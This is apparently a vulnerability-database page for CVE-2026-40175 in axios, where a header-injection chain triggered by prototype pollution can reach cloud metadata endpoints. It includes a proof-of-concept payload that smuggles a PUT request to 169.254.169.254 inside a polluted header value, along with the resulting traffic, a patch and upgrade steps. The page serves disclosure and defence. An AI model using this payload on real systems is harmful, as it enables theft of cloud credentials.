CVE-2026-40175 — Vulnerability in axios — CVE Details
Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.69%). Schedule for your next planned update.
Does your project use an affected axios version?
Paste your package-lock.json to check it for CVE-2026-40175 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary
The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.
Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.
Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)
Usage of "Helper" Vulnerabilities
This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.
Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer
await axios.get('https://analytics.internal/pings');
3. The Execution
Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.
Resulting HTTP traffic:
GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET /ignore HTTP/1.1
...
4. The Impact
In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.
Impact Analysis
- Confidentiality: May expose limited sensitive information in affected network environments.
- Integrity: May allow modification of outbound request structure or injected headers.
- Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
Recommended Fix
Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.
Patch Suggestion:
// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (/[\r\n]/.test(val)) {
throw new Error('Security: Header value contains invalid characters');
}
// ... proceed to set header
});
References
- OWASP: CRLF Injection (CWE-113)
This report was generated as part of a security audit of the Axios library.
Advisory Timeline
- First published April 10, 2026 (230 days ago).
- Last revised September 10, 2026 — 152 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install axios@1.15.0
npm install axios@0.31.0
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (2)
Affects 1 ecosystem: npm (1).
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-113
- CWE-444
- CWE-918Server-Side Request Forgery (SSRF)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 4.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
References
- https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqxWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-40175ADVISORY
- https://github.com/axios/axios/pull/10660WEB
- https://github.com/axios/axios/pull/10660#issuecomment-4224168081WEB
- https://github.com/axios/axios/pull/10688WEB
- https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9cWEB
- https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1WEB
- https://cert-portal.siemens.com/productcert/html/ssa-876049.htmlWEB
- https://github.com/axios/axiosPACKAGE
- https://github.com/axios/axios/releases/tag/v0.31.0WEB
- https://github.com/axios/axios/releases/tag/v1.15.0WEB
Frequently Asked Questions
- What is CVE-2026-40175?
- Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 4.8/10).
- How do I check if my project is affected by CVE-2026-40175?
- CVE-2026-40175 affects axios. It has a 1.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40175 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Exploitation requires specific conditions, or the impact is limited.
This places it in the top quartile of EPSS-scored vulnerabilities — 77.5% of tracked vulnerabilities score at or below it, so it is more likely to be exploited than most of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-44496HIGH
Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
- CVE-2026-44486HIGH
Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection
- CVE-2025-27152HIGH
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
- CVE-2026-101905HIGH
Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection
- CVE-2026-101906HIGH
Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
- CVE-2026-101904MEDIUM
Axios: Header Injection via Inherited headers After Minimal Interceptor
- CVE-2026-67317MEDIUM
Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`
- CVE-2026-42038MEDIUM
Axios: no_proxy bypass via IP alias allows SSRF